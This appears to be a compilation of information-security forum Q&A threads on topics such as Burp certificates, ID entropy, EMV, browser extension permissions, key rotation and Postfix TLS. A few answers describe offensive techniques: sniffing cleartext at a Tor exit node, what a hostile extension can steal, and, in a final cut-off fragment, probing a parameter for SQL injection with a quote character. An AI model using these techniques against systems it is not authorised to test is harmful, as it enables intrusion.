Where is the BurpSuite CA HTTPS certificate located? Following this question -> Why are HTTPS requests blocked by Firefox when using ZAP proxy?

I was looking in Burp Suite where I could generate its CA for Firefox. I could not see it. I went to Burp website -> https://support.portswigger.net/customer/portal/articles/1783087-installing-burp-s-ca-certificate-in-firefox but they show a url http://burp which is not working on my browser.

Where can I generate Burp's certificate?

Two ways to get the CA cert -

1) Make sure your browser is pointing to the Burp proxy Interface Url and Port and navigate to http://burp and click on "CA Certificate" on the top right. In your question, you had used \\ instead of //

2) On Burp, go to Proxy tab > Options Tab > 'Import/Export CA Certificate' Button in the "Proxy Listeners" section.

Load the CA cert on to the trusted CA certs store in the browser.......


Is there any security issue while two different process using different hard link of same file? To reduce disk space I have planned to use a hard link instead of full copy, Is there any security issue while two different processes using different hard links of the same executable file as base?

It is not uncommon especially for software for embedded systems (BusyBox etc) to have a single binary which has everything in it and then to hard link this binary to different names in order to provide the expected command names. This approach by itself is not a problem: while the different invocations of the binary will share read-only (or execute-only) code and data segments they will all have their own read-write stack and heap, strictly separated from the rest as with different binaries.


Prevent subscription ID guessing I am working on a service which offers information on the road traffic situation.

Users can subscribe to the service via an API, indicating the area and road classes they are interested in, and are assigned a subscription ID. With the subscription ID they can then poll the service for information. The first poll will return any messages from that area, subsequent polls will only return messages that have been added, withdrawn or updated since the last poll operation. (Edit: All these operations are part of an app.)

Users also change their subscription at any time, i.e. change the area and/or road class; this will leave the subscription ID unchanged. They can also unsubscribe at any time. There is no operation for “show me what I have subscribed to”, other than by inferring that from message updates.

Users are generally anonymous, i.e. the system does not collect any user information and does not even have a mechanism to determine if two subscriptions were from the same user. Specifically, there are no user accounts (edit: other than the subscription ID, which can be seen as part of an ephemeral user ID). The expected use case is that users subscribe to traffic news when they start on a trip, change their subscription if they change their destination, and unsubscribe upon arrival. Thus, subscriptions “live” for anything from minutes to hours, but typically less than 24 hours. Edit: Session expiration is still TBD. For practical considerations, poll intervals could be as long as 15 minutes, but there might be longer periods of  inactivity. For “forgotten” subscriptions, expiration intervals would likely be several hours after the last operation.

The scenario I am mostly worried about is ID guessing, i.e. an attacker trying a random subscription ID to poll the service and/or change subscriptions. For the attacker profile, this suggests a script kiddie: an individual with the skill level of an advanced user who thinks it’s fun to annoy random strangers.

As for protection requirements:

Confidentiality: traffic messages are by definition public (anyone can see them), but a user’s subscription data (which can be inferred from the messages received) may disclose their whereabouts and travel plans, and as such is non-public. However, an attacker would need to take extra steps to identify the user.
Availability: if messages are “lost”, the user will miss new traffic messages and end up in a traffic jam they had hoped to avoid, or taking a long detour to avoid a traffic jam which no longer exists.
Integrity:

An attacker could unsubscribe a user (violating availability), though that would be apparent on the next poll: the service would reply “susbscription unknown” and the user could simply re-subscribe, at the cost of getting a full feed rather than a differential one (along with the related bandwidth usage).
An attacker could poll the service: the related update feed would be delivered to the attacker (violating confidentiality) and the victim would not see the changes (violating availablility), unless the affected messages change again before the victim polls the service.
An attacker could alter a user’s subscription: either to a much smaller area, which is equivalent to suppression of messages (confidentiality) but harder to detect than a rogue unsubscribe operation, or to the whole world, causing the user to be flooded with messages, consuming the user’s bandwidth and processing capacities. Depending on what the attacker has subscribed to, this may be much harder to detect than a rogue unsubscribe operation.

I would assume that the best defense here is to keep the IDs as random as possible (i.e. any two possible IDs are equally likely to occur) and above a certain length.

Questions:

How long would a subscription ID have to be in order to make guessing a valid (though random) subscription ID unfeasible for the kind of attacker profile I have in mind?
Have I missed anything (that you would be able to name)?

If you have space to store it, consider a standard data structure like a UUID4. These are generated randomly and are 128 bits, or 2^128 different possibilities.

That’s enough for your app to generate a unique reference for every gram of mass that makes up planet Earth, for every person currently alive on earth (2^128 / 2^92 / 6 billion).

Brute forcing the UUID4 space is impractical, and offers sensible security with the benefit of widespread support in programming languages and databases.

It should be noted though that using UUID4 is only as strong as its underlying random number generator, you can see a discussion on that in this question. You should take care when choosing an implementation for your project, if you are going to use UUID4 for this use case.

If you need a slightly shorter value, or something that uses can type, consider a secure random generator that provides URL safe output, such as Python’s secrets.token_*.


Decrypting TOR traffic? Is there any way to decrypt tor traffic from an exit node or relay? I know it's possible to analyze the traffic using something like tcpflow or tcpdump, but it comes back as encrypted giberish. Is there any way to decrypt it?

If you sniff on the exit node and the connection is not https/hidden service, then you will have the traffic in clear but you will not be able to know from who it came. Unless the traffic itself is revealing the identity.

In other cases, as far as we know, you can't decrypt tor. As other said, tor will be useless if it was possible.


What's the distinction between a missed hardening opportunity and security flaw? It's my understanding that a missed hardening opportunity is less important to be fixed than a security flaw, but what criteria does one use to decide what to classify something that is wrong with a secure system?

It is always risk that defines that criteria.

What's the likelihood of the problem being exploited, what are the mitigations in place to prevent or limit the impact, and what are the impacts of a successful exploitation?

Once those are defined, you can classify what's wrong with a system and rank them in order or priority, regardless of the type of problem (hardening, 0-day, patches, flaws, etc.).


Is there a "classic" information security textbook? Much in the same way compilers has the dragon book, algorithms has the Cormen, and graphics has Foley & van Dam I am wondering what the book on computer security is. Not the "best" book, or the most practical, or the "hacking handbook", but the classic book on the fundamental theoretical concepts behind information security that's been used in classes for generations (or will be, once it's old enough). Is there such a book?

In other words, if information security was cooking, which book would be The Joy Of Cooking? If information security was Scotch, which book would be Michael Jackson's Complete Guide To Single Malt Scotch? If information security books were drills, which would be the Hole-Hawg?

I would actually say that there is one, Ross Anderson's security engineering is it, and it's free:
http://www.cl.cam.ac.uk/~rja14/book.html
https://www.schneier.com/blog/archives/2013/03/ross_andersons_1.html

I also agree with executifs's comment - the books he mentions are the books regarded as core to those disciplines.

Ross Anderson's book has the correct title though for what it is - it gives an overview of what's involved in many areas down to a satisfying level of detail.


Does EMV protect against sniffing PAN data from untrusted network? I have received conflicting information in regards to the security of PAN data on the wire. Can this be sniffed with properly configured EMV at an atm?

To quote from the link below:
http://www.firstdata.com/downloads/thought-leadership/EMV-Encrypt-Tokenization-WP.PDF

The PCI Security Standards Council notes: “in EMV environments, the PAN [primary account number] is not kept confidential at any point in the transaction.”

However from my understanding a fundamental part of a EMV transaction is that the processor forms a cryptogram of the PAN that can only be decrypted by the issuer/processor (CDA/DDA). Making any captured traffic useless. What would be the point in sending PAN when there is already a unique way of identifying the card? See quote below:

"All EMV cards have a mandated minimum requirement for using one
card unique 3DES key and have a choice between three increasingly
secure usages of RSA signatures and keys, termed SDA (Static Data
Authentication), DDA (Dynamic Data Authentication), and CDA (Combined
Data Authentication)." https://www.cryptomathic.com/hubfs/docs/cryptomathic_white_paper-emv_key_management.pdf

These two legitimate sources seem to contradict themselves in regards to PAN data being vulnerable to MITM attacks.

Many people are surprised to learn that EMV doesn't encrypt the PAN.  But really, once EMV is fully rolled out encrypting the PAN will become unnecessary, and would be leftover as a technical debt of the current insecure protocols.  EMV doesn't need to start with that baggage.

The reason EMV doesn't require encryption of the PAN is that the PAN only represents Identity; it does not represent Authentication of the chip (that's the job of the ARQC message), and it does not represent the Authorization of the cardholder to use the card (that's the job of the PIN).  As long as the chip is authenticated, and the user provides the authorization, the transaction is secured.  The identity doesn't have to be kept secret.

In today's non-EMV world, identity, authentication, and authorization are all three combined on the unchanging mag stripe.  Copying the stripe data enables you to clone a card, so protecting the whole stripe is required.  We use the words "identity theft" so people think they're stealing our identity, but really, they're stealing all three attributes from the card at the same time.

With EMV, the PAN is still required to provide the identity of the card.  The rest of the EMV data does not include enough information to otherwise identify the card, nor should it.  The identity can even be made public, as long as it can't be used by itself.

In EMV, the ARQC cryptogram serves as the signature from the chip, authenticating the messages originated from the chip associated with the PAN.  Cryptography and secure storage on the chips ensure that an ARQC can't be forged.  Because the ARQC is transactional, every request is different; replay attacks don't work as long as the bank ensures duplicate ARQCs are rejected.

The PIN serves as the user's authorization to charge.  The PIN tells the chip "hey, your user just proved right now that he wants this transaction to go through."  It's up to your bank if they want your card to require a PIN; they might be happy just letting you sign for the transaction.

[ Note that most U.S. banks opted for Chip and Signature instead of Chip and PIN.  The only advantage of Chip and PIN is that it protects your card from unauthorized use if it's lost or stolen; but really, the FDIC already limits your personal liability to $50, and almost all banks waive that to $0 in the case of a lost or stolen card.  And since the banks make money every time you charge anything, they'd rather accept the risk of fraud (that they're already obliged to take by law) than to inconvenience their customers by making them type a PIN.  They believe that inconvenienced customers will find an easier way to pay, cutting into their profits.]

But we're a long ways away from full EMV rollout.  The October 2015 liability shift was created as incentive for U.S. retailers to change their transaction processing to use EMV, but very few U.S. retailers actually take chip cards as of April 2016.  Rolling out new terminals, new software, and new cards across 6 million retailers, 11,000 banks, and billions of cards takes a lot of time and money.  And nobody's yet created a universally accepted solution to secure Card Not Present (CNP) transactions, such as hotel bookings, web purchases, etc.  So until EMV is fully deployed and the CNP problem solved, it's still up to merchants and POS terminals to protect and encrypt the PANs and the sensitive authorization data.  For now, that includes the PAN.


Worst case scenario, what can a Chrome extension do with "Your data on all websites" and "Your tabs and browsing activity"? Chrome extensions, and just like other browsers, appear to often get quite some extensive access to your browser data. In fact, most extensions I've installed require access to:

Your data on all websites
Your tabs and browsing activity

And this got me wondering what that implies, exactly.

Let's say somebody writes an evil extension, calls it "I-KNOW-EVERYTHING-YOU-DO, and a RSS Reader" (he's evil, but also honest). I really like to have a RSS reader, so I install this. I see this big warning about the extension requiring access to all of my data, but then again, so does every other extension, so I gladly grant this access.

Thinking worse-case scenario, what can this extension do? Could it:

Send a list of all the websites I visit to the maker?
Capture data I input into forms? (like my personal data, passwords, etc.)
See how long I have been on a website, and which pages I have visited?
Access cookies?
Access other files on my computer? (I guess not, given the Sandbox environment, but I'm still wondering)
Do anything worse?

Send a list of all the websites I visit to the maker?

Yes

  Capture data I input into forms? (like my personal data, passwords, etc.)

Yes

  See how long I have been on a website, and which pages I have visited?

Yes

  Access cookies?

Updated, See the following comment from Bryan Field for this one.

  Bryan Field: Great answer, except for number 4. Cookies without the httponly flag can be accessed for sure, beyond that I don't know. I would add that it is likely that the extension could manually call, for example your Gmail page and get all your emails, even if you do not have Gmail open during the time the extension is opened. You need only to be logged in and it can call those pages. So even if the httponly cookies can not be directly viewed (number 4), it doesn't really matter, because the cookies can still be indirectly and effectively used

  Access other files on my computer? (I guess not, given the Sandbox environment, but I'm still wondering)

No – like you say the sandbox will prevent that.

  Do anything worse?

Read (and send) data on all the pages you visit.

Some more details on why this is often needed, but not always is discussed in this question Why do Chrome extensions need access to 'all my data' and 'browsing activity'?


How to separate and secure domains using cPanel? When you add a new domain in some hostings (i.e. 000webhost or some other hostings, which DOESNT USE cPanel) an entirely separate public_html is created (with a separate FTP login and etc..).

But with cPanel, all "addon domains" are created under the same account and same public_html folder. So, with PHP programming, from addon domain "account" I can easily access any other domains' FTP folders.

Is there a way to add SEPARATE DOMAIN ACCOUNT in cpanel? or restrict PHP from accessing higher directories?  (This thread states there is no solution inside cPanel.)

Some people say that solution is to set open_basedir and safe_mode inside php.ini and http.conf. Actually, that can be overridden too by hacker.
So, are MULTI-Account hosting (like the above list) or reseller hosting,  the only solutions?

Any server controlled by cPanel (or similar) is insecure. cPanel is a huge pile of internet-facing code running as root that appears to work while containing tons of yet to be found exploits. Chances are your server is already compromised thanks to one of those exploits, and given that cPanel hides away all the tools you'd use to check for compromise (server logs, etc) you have no way of knowing until it's too late (when a clueless customer calls you because they hosted an e-commerce site on your server and got their credit card numbers stolen).

Now, even if we assume cPanel itself is secure, "shared hosting" isn't. Even if file permissions are set up correctly, all it takes is a single kernel exploit to get root and then break out of your own account and go poking around other account's files.

The proper way to do "shared hosting" is to either not execute any code at all (purely static hosting is fine - all CDNs are essentially just that and they seem to be doing fine), or run every customer's code in a VM or even a dedicated machine (to protect against hypervisor exploits).

Of course, this VM-based solution isn't something your average cPanel (or equivalent) would do - it would require some custom code to create and tear down the VMs and then manage URL routing (the idea is to host all static content on the host, and have that host act as reverse-proxy to app servers in the VMs for any executable code).


Sign in a user or not after they verify email address? So in a typical web-app scenario, the new user is sent some sort of email with a one-time, time sensitive token link which when clicked will "activate" their account or "verify" their email address.

Question:

Do we, or do we not also sign that user in (set bearer token; send auth/session cookie) at the time when we verify them via the unique link?

For clarity: assuming, no previous session in the browser where the activation link is clicked:

If we do create a session/sign the user in, then the user is free to navigate back to the home page and throughout the app and they are not required to enter their username/password.
If we do not create a session/sign the user in, then their account is still activated (or email verified) but any attempt to navigate into the app presents the login form and continuation requires username and password.

I think it depends on the application. I have been involved in the development of many (web)applications and how you deal with login, logout, activate and password reset is revised per application. If you to make the signup as easy as possible, then create a session on activation. Then you might want to show a message confirming account activation.

On the other hand, some mail clients (Outlook for Android) , proxies and firewalls follow the links in an mail. If you let the user login directly the activation and login could be triggered without the users knowledge. At some later moment when the users decides to activate the account, the link is not valid anymore. You can fix this in many ways.

Personally I prefer the first option, activation and login at once.

From a security perspective, I am not sure it it matters much. Of course anyone with the link can access the account, but at that point the account it's still empty. It all depends on the use case.


Problems with PGP/SSH-key not being changable the way a password is I've started using key-based encryption and authentication about three months ago. As most people getting started with something, I did not know all the fine details of usage and secrecy of private keys. As a result, I did not keep proper track of where I put the keys.

I think I may or may not have used insecure means to transfer my private key to a couple of my machines. So technically speaking, Google could have my private key stored somewhere in their evil all-knowing data-gathering fortresses of doom.

I'm not worried about my key having been compromised, I do think I've taken enough care to make sure that did not happen. But would this have happened with a password, I do think I'd have changed it.

That got me thinking. Private keys are used to authenticate, encode and decode a lot of information. Isn't this a weak point? What if I did accidentally spill my private key somewhere? Anybody would be able to decrypt all messages I've ever encoded, and access all servers I could. Opposed to this, if I accidentally spill a password, I just change it. Keys, not so much.

In addition:

  Treat your password like a toothbrush - don't let anybody else use it, and get a new one every six months. — Clifford Stoll

This isn't really possible with a private key (unless I'm terribly mistaken). Isn't this a security concern too?

Isn't in this case a good password (32 characters, a-Z/0-9/~!@#$ etc) stored somewhere secure better?

Of course you change keys, you just have to find all the places that accept them, and change which ones are accepted. Edit the authorized_keys files in case of an SSH server. Requires logging in to all the machines, but it's exactly the same if you want to change your password.

If you have, say, files encrypted to a GPG key and you've misplaced them, in addition to the key, then it's a bit more annoying, since you need to find and delete or change all the files too. Any GPG-encrypted emails sent to your old key would still be readable by someone who the key was leaked, if they can get their hands on your old emails. But this isn't any different from passwords either. If you have files encrypted to a password, anyone with the file and the password can read it.

  Anybody would be able to decrypt all messages I've ever encoded, and access all servers I could.

I think this would apply completely even with the precondition changed to "what if I accidentally spill my password".


openssl aes 256 cbc strange bug This is extremely strange but I have already tried this twice and am completely sure it is openSSL and not me doing the bug. I am encrypting the data 'Hygiene' with the password '*' (sorry can't tell you this) and get the ciphertext '3/mEwtZdIuIV5wwsQAcnAw==' then I changed the last charecter to '-' and when I decrypted it still decrypted normally!. I then tried changing it to different things such as '+' but it didn't work, Is this supposed to be so? Or have I just found another bug in openSSL?

You have not found a bug in OpenSSL, not a real one. You may have found a gap in your understanding, though.

Namely, encryption works on bytes and produces bytes. What you see with your eyes are characters. In order to accommodate character-oriented devices (e.g. your eyes), OpenSSL applies an extra encoding on the encryption output: it takes the bytes and turns them into characters, using Base64.

Base64 turns every group of three bytes into a sequence of four characters. The characters are taken from letters (uppercase and lowercase), digits, '+' and '/'. However, the input length might not be a multiple of 3; in your case, the AES output is 16 bytes. The first 15 bytes (5 groups of 3) are Base64-encoded into 20 characters (5 sequences of 4 characters). The remaining lone byte is encoded again as 4 characters, but with a special rule: the last two characters will be '=' signs.

Now, when you modify the second '=' and replace it with a '-', then you are turning your string into something which is not valid Base64; yet OpenSSL will still try to recover from it and decode bytes out of it. In fact, the way OpenSSL works is the following: it first removes all characters that are not part of the 64 "normal" Base64 characters (letters, digits, '+' and '/'). It then proceeds from what remains (here, 22 characters). If you replace a '=' with a '-', then you are just replacing a character that OpenSSL removes, with another character that OpenSSL removes as well; therefore, things keep on working. However, if you replace a '=' with a '+', then OpenSSL will keep that '+' and end up with 23 characters, which, upon decoding, will yield 17 bytes, not 16. AES won't like an input whose length is not a multiple of 16.

All of this is about encoding: transforming bytes into characters, and back. Encryption is not relevant here.


File extensions that should NOT be allowed to be uploaded I recently built a Downloads Manager that will debut though before I do so I want to know what file extensions I should explicitly disallow from being accepted?

Running LAMP/WAMP the most obvious I've come up with since the five minutes this issue came to mind:

*.htaccess
*.php

The idea is to allow clients who use the software to build websites to host their own files directly so we want to allow them the flexibility while at the same time we're not a dedicated file hosting service. Here is a good article that I'm going to read more in-depth especially about the more obscure file extensions. I think the best bet there is to review allow extension association, disable everything except for what we use and still disallow those extensions from being uploaded.

Let people store anything they want, rename the file to something random (SHA1 of random long number is enough), move them off the server root, and record the new name and original name on a database, taking care of sanitizing the filename.

List files using the original names on the filename (again take care with sanitization), and use PHP fpassthru or Apache mod_xsendfile to send the file, as both are able to read the file stored outside server root.

This way the client will not have direct access to the uploaded files, even files with invalid names will be safely stored.


security issues related to setting cookie using an  tag Site A will be having an <img> tag with src= attribute as an absolute URL pointing to site B.

Site B will return an image response, and in that response a cookie will be set (cookie of Site B's domain).

This is being done because safari browser blocks cookies set from iframe sites. By doing so the iframe site here (site b) will set cookie outside iframe and from there onwards can set cookie even inside iframe.

I'm concerned with any vulnerability that might arise out of this scenario (if any) as I am not really aware of such security issues. Can someone please point me to the right source if this is a potential vulnerability?

TL;DR: If the cookie you use can be used to authorize any action on site B, then that site becomes vulnerable to a CSRF attack.

As @Sjoerd has already pointed out in his comment, you need to set the SameSite attribute of the cookie to None, otherwise the cookie won't be sent to site B when the image is retrieved.

This could very well be a vulnerability, depending on the effect the cookie has on site B. The SameSite attribute was invented to prevent a Cross Site Request Forgery (CSRF) attack. By setting SameSite=None on the cookie, you are disabling that CSRF protection of site B.


Should a user have the ability to be logged in from multiple locations at the same time? In the past, I've always used a single session per user setup, but I'm working on a project now where a user can be signed in from multiple locations/browsers at the same time.

What are the security concerns for single vs multiple concurrent sessions per account? Is one method considered best practice over the other? What other considerations should be made and how should the ideal solution be implemented?

I personally do not see any security issue in the fact that the user can be signed in from multiple locations at the same time.

However, when this happens, it could indicate that the account is compromised, and used by another user at the same time. I think that the best solution would be to inform the user of the situation ("Hey, you are already logged in at another location"), and give him the choice to dismiss the warning, or to take action (typically change his password).

Obviously, it would be necessary to use stronger authentication before taking any action on the account.


What is real-world impact of CVE-2016-0728 (Linux Kernel Vulnerability) Today emerged report about another serious vulnerability in opensource world, CVE-2016-0728. It is local privilege escalation in Linux kernel 3.8+.

What are the the possible real-world exploitation, consequences and possibilities to mitigate (except patching kernel)?

Thoughts/Related:

Related question about Docker has also interesting thoughts. You might be able to break out of container!

You could try the exploit directly on any given host and determine your own level-of risk. My initial thought is that even on Android, many kernels have SMEP/SMAP enabled, thus preventing the canned exploit code above. One would need to rewrite the exploit with ROP or use a similar SMEP/SMAP bypass technique. (Update 2016/Feb/06 -- Collin R. Mulliner discusses on his blog why most Android devices are not affected)

Because this is a counter-wrapping flaw, this bug has some starting and counting problems that must also be overcome, which the PoC exploit in my first sentence does not take into account.


Are credit card number look ups more secure with a hash function than with a deterministic encryption algorithm? I understand PCI DSS 3.0 allows hashes of cardnumbers to be stored separately from encrypted values, but I'm startled at the efficiency of tools like hashcat in discovering card numbers from hashed data given the limited entropy.

Since, for lookup purposes, a random salt is not an option (since often you only have the cardnumber to do the lookup), then any salt would have to be static to lookup the hash.

I read one suggestion that said,

  A secret key can be effectively used as a salt value, albeit this defeats some of the reasons for hashing in the first place and requires the same key management as encryption.
  http://www.integrigy.com/files/Integrigy_Hashing_Credit_Card_Numbers_Unsafe_Practices.pdf

My question is, if I am using a "secret key" for a salt, which is subject to discovery and brute force (though its length might make the latter impractical), why not just encrypt the value with AES256, and do the lookups via the encrypted value?

Is there any security advantage to hashing with a "secret but uniform salt", versus deterministic encryption?

Performing the card lookups against a hash rather than against an encrypted value is done for speed so it is for performance, rather than security, benefit.

In terms of security and the lookup functionality, you could consider a static salt (pepper) as well as an additional, somewhat dynamic salt (such as the expiry date of the card number).


service metasploit start failed to start metasploit service I am trying to setup Metasploit for penetration testing.

However, I cannot get the database to connect. Also whenever I attempt to start the service using service metasploit start I get the following error:

failed to start metasploit.service
unit metasploit.service failed to load
no such file or directory

I find this odd because I am able to run the program using:

msfconsole

I haven't been able to find any solutions online, can anyone here help me out?

#/etc/init.d/postgresql
service --status-all
service postgresql start
service postgresql status

#/usr/bin/msfconsole
msfdb init
msfconsole
msf > db_status


Problems with destroying your SSL private key? There are many posts and questions asked about what to do if you lose your private key for your SSL certificate, or about the best way of backing it up. But I couldn't find anything on  why it's actually important to keep, especially if there is some danger of it falling into the wrong hands.

If my website is already deployed, and the SSL certificate is already given to the web hosting service so that SSL works and every page uses HTTPS, is there any reason to keep the  private key, or even a local copy of the SSL certificate?  Will someone ask for it in the future?

A local copy of the certificate really makes no difference one way or another - anybody who knows your domain can pull a functionally identical copy.

The private key is needed by your server, notably, to negotiate the key-agreement protocol

  When Alice and Bob have a public-key infrastructure, they may digitally sign an agreed Diffie-Hellman agreed key, or exchanged Diffie-Hellman public keys. Such signed keys, sometimes signed by a certificate authority, are one of the primary mechanisms used for secure web traffic (including HTTPS, SSL or Transport Layer Security protocols)

It also ensures the confidentiality of the messages it encrypts more generally, using Public Key Encryption:

  The encryption process of using the receivers public key is useful for preserving the confidentiality of the message as only the receiver has the matching private key to decrypt the message. Therefore, the sender of the message cannot decrypt the message once it has been encrypted using the receivers public key. However, PKE does not address the problem of non-repudiation, as the message could have been sent by anyone that has access to the receivers public key.

You could arguably delete both once they are loaded into memory, if they are assured of remaining there - i.e. your server will never suffer any unexpected event.
That, however, seems a bad bet to make.

As mentioned by @Arminius, the key can also be used for things other than TLS, such as PKI-related activities.


Secure individual passwords in password manager with U2F? Given that U2F as implemented for instance by the YubiKey is stateless I am wondering if any password manager supports encrypting each individual password stored in a password collection using U2F.

This would help against the common problem that opening the password manager is already a large security risk (think CTRL+A, CTRL+C to copy all entries) and prevent giving away your complete passwords just because an attacker recorded one challenge/response communication for a single key.

Background:

U2F is not an encryption standard, but a authentication standard and uses public/private keys for authentication of server challenges.
Based on its use of public/private key signatures though it should be possible for a password manager to keep "handles" for each stored password, which after being signed by the U2F device yield the actual encryption key.
See here for a potential use of u2f for simple text encryption. I don't think it the right way to use the handle as a salt, but the general idea is there.

U2F can't be used to encrypt anything.
U2F devices can be asked only two things :

Enroll a new identity (Create a new key pair)
Authenticate using an existing Identity. (Sign the hashed server challenge with few other info)

So I don't think your question makes sens, but perhaps you can give more details.


Trusting a fraudulent/not trusted CAs for STARTTLS/SMTP When using STARTTLS for SMTP, should one trust CAs that are not trusted by major browser like for example WoSign or StartCom?

As STARTTLS falls back to plaintext it seems an encrypted transmission via a not trusted certificate would still be better than just plaintext right?

It depends.

Basically you have the choice to:

Always require a valid certificate. This obviously means you have to disable fallback to plaintext and enforce TLS use. This will prevent some servers and the people using them from sending you mail.
If you can't enforce to use TLS, it doesn't make any sense to enforce a valid certificate. A encrypted connection with a invalid certificate is still better than no encryption at all.

If you use the second approach, it makes sense to enforce TLS for some domains. One thing is to only allow TLS connections for domains with valid DNSSEC/DANE data. For postfix this could be set with:

postconf -e "smtpd_use_tls = yes"
postconf -e "smtp_dns_support_level = dnssec"
postconf -e "smtp_tls_security_level = dane"

You can also add some domains which send mails regularly to you to a list and enforce TLS with valid certificates, if you know they support it.


What is the most cost effective way to comply with PCI requirement 6.5, developer training? We are a small company that is coming increasingly under pressure to be PCI complaint.

Our main product is an API that move cardholder data between a customer and a supplier. I am in the process of getting the company PCI DSS complaint.

The problem I have is that we do not want to spend loads of money on developer training. PCI DSS Recruitment 6.5: "Verify that processes require training in secure coding techniques for developers, based on industry best practices and guidance."

What is the most cost effective way to comply with this requirement?

Security behaves just like any other quality property:

If your software is unreliable and causes damage to your client, you may be sued for compensation of damages, and/or get bad press coverage. The exact same is true for security issues.

Just like other quality properties, using a huge amount of money for one time events, is not likely to have a lasting effect. Ensuring quality in the long run requires structures that support it.

To be more concrete: A one time 3 day general security training for all developers may be quite expensive, but is probably not an effective way to spend the money.

A long term approach may be this: Appoint a small number of security experts and educate them (for example by letting them visit courses, get external consultation, ...). This group will

identify the security aspects that are important for their fellow developers (e. g. a web application developer using Java should focus on OWASP instead of buffer overflows)
support the architecture development group to minimize the potential for security related mistakes
teach the fellow developers about security aspects based on the concrete architecture at use in their company
do code reviews
encourage discussions about security aspects.

Let me give an example: A company develops a web application using the component based Java Server Faces framework. In JSF, the userinterface components generate HTML and JavaScript code. So component developers need to be aware of XSS and escape all input.

Developers of business functions use these userinterface components. They don't need to write HTML code, so they don't need to escape input (and cannot because escaping is the task of the components). But business function developers need to understand how to use the components securely (e. g. don't generate HTML code themselves circumventing the components).


Security implications of hostname identification in SNI and other SNI questions If I do a packet capture on an https session where SNI is involved, the Client Hello reveals, in plaintext, the hostname that I'm requesting.

I believe that before SNI, there was nothing in an SSL/TLS packet itself that could identify the site somebody was trying to hit. I'm thinking of systems that monitor or filter based on hostname requested. With SNI, they have the ability to do that, even for TLS-encrypted traffic (based on the plaintext Client Hello), whereas they didn't before SNI.

If I install a non-SNI certificate (if I could even get one anymore), does the client still identify itself in the Client Hello packet? Is that just inherent in TLS 1.2 and my references to the SNI "problem" is actually a TLS 1.2 "problem?"

I believe that before SNI, there was nothing in an SSL/TLS packet itself that could identify the site somebody was trying to hit.

That's wrong. The certificate sent back by the server contains the site name as the subject. Although this is maybe not as specific as SNI since there might be multiple names given as subject (especially true with CDN).

  If I install a non-SNI certificate ...

There is no such thing as a SNI or non-SNI certificate. SNI is an extension in the TLS handshake which is needed to support several sites and thus different certificates using the same IP address. It is comparable to the Host header in the HTTP request. And because SNI is used by the client to actually get the  certificate matching the target name in the first case it cannot be a property of the certificate.

It is fully up to the client if the SNI extension is used or not. But, all modern browsers and most TLS libraries do it because they need to support the common case of multiple sites sharing the same IP address.


are webmalware able to hijack browsers? Are webmalwares capbale of performing browser hijacking attacks ? Has there been any famous webmalware that functioned this way ?

About 10 years ago, browser hijacking attacks by drive-by downloads were extremely frequent. One of the most famous malwares of this kind was CoolWebSearch, named after the web startpage it set on the infected system (which was in fact one of the more harmless "features" it had). But this malware is just one example of many. Often, a system could be infected just by visiting an infected website with a vulnerable web browser.

The majority of these hijackers targeted vulnerabilities in a Windows program called Internet Explorer*. The reason MSIE was so vulnerable back then was because Microsoft wasn't really taking security as serious as they do today. Also, those security patches they released had to be installed manually by the user, which most users didn't do.

However, in the past few years Microsoft started to take security and patch management a lot more serious. Internet Explorer is now updated automatically (just like most other browsers) so the number of users vulnerable to patched vulnerabilities went down dramatically. As a result, browser hijackers became a lot less frequent. However, they haven't died out completely.

*) The tool you run after a Windows installation to download a web browser.


How to store IV and key temporarily but securely I am using .NET 4.0  to develop a Windows service that will temporarily store encrypted data in a database. The data will be encrypted when it is inserted, then decrypted, processed, and deleted once processed.  This will probably be done as a batch process (thousands of rows at a time).

I've looked at Generating Keys for Encryption and Decryption on MSDN, and it looks like I could use TripleDES symmetric encryption (I was thinking of using the RijndaelManaged class).

However, if the service fails or I lose my database connection while I am encrypting and inserting the data, I want to be able to pick up where I left off with the same IV and key.

How should I store my IV and key on a local computer?  I want to be sure it will not be found and used to decrypt the encrypted contents of the database.

At least one thing you can improve rather easily: You can simply store the IV in the database next to the encrypted data. The IV itself is not supposed to be secret. It usually acts as a salt, to avoid a situation where two identical plaintext records get encrypted into identical ciphertext. Storing the IV in the database for each row will eliminate the concern over losing this data. Ideally, each row IV would be unique and random but not secret.

That leaves your problem to storing a relatively small piece of information: the key. There should be no issue using the same key for all records in terms of security. As long as the key itself is strong, using a different key does not give you any advantage (in fact, it will be a real headache to manage), so one key should usually be good enough.

There are probably many solutions to storing keys securely, but those depend on the level of security you really need. For .NET / Microsoft environment I am guessing you should be looking at DPAPI, although there may be better options out there. In one extreme, you'd need a HSM or a smartcard, but in less-stringent environments storing the key on the filesystem with the right permissions might be sufficient. It all depends on your risk profile and threats.


What are the security risks of a phone-based authentication? I was looking into a way to make the authentication experience as simple as possible and this project came to my mind, where Google was using the logged account on your phone to log you into your browser.
Anyway, after 4 years, I haven't seen it becoming a real thing.
The only exemple I can think about is the desktop application of WhatsApp.
I was wondering if this is connected with some security issues I'm not considering.

I do not see any security issues with this approach, it simply uses an already existing session (your Google session in your mobile browser) to approve a login request for a new session.

Facebook does something similar - when you enable 2FA it behaves as you would expect but if you have their mobile app you get a notification and can approve the login from the app itself without even having to enter an OTP on the login page.

I think it hasn't taken off because of usability issues and disadvantages compared to standard OTPs. In both cases you have to take out your phone, but with this system you also need to take a picture of the QR code and then be connected to a network to access the URL. Plain old TOTP is just as secure but without those drawbacks.

Finally this is aimed at thwarting malware on untrusted machines but the issue is, no matter how you log in, the compromised computer would still be able to use and abuse your account anyway it wants, as it will get access to a logged in session. How you logged in doesn't matter much if it can still get access and grab all of your personal data.


Fortigate Creating Millions of DNS events to standard domains I am trying to tune our SIEM and noticed that we are receiving millions of DNS records every day from the same domains.
These are:

update.microsoft.com
swscan.apple.com
softwareupdate.vmware.com
play.google.com
autoupdate.opera.com
auth.gfx.ms

I am not sure why but for some reason just these domains are creating ~10 million logs events per day. I've done a significant amount of research into this and nothing is jumping out at me. The only link I have been able to find is that these domains are a part of Fortigates default "Do Not Decrypt" SSL policy. And I can't even say that is 100% right.

Does anyone here have any thoughts or experience with this?

It's Fortinet querying them because match some of the FQDN Addresses defined in the Policy & Objects --> Addresses.

FortiGate will re-query the FQDN address 5 seconds before its TTL expires.

It can all be disabled either by deleting or moving them to Wildcard FQDN addresses.

See this Fortinet KB for more info:
https://kb.fortinet.com/kb/documentLink.do?externalID=FD45787


How to detect and exploit an SQLi in a POST method Making it simple (no security at all), when we want to detect whether or not a GET parameter is vulnerable to SQLi, we could just type a ' as the value (?id=') and check if there is any error. (No blind SQL)

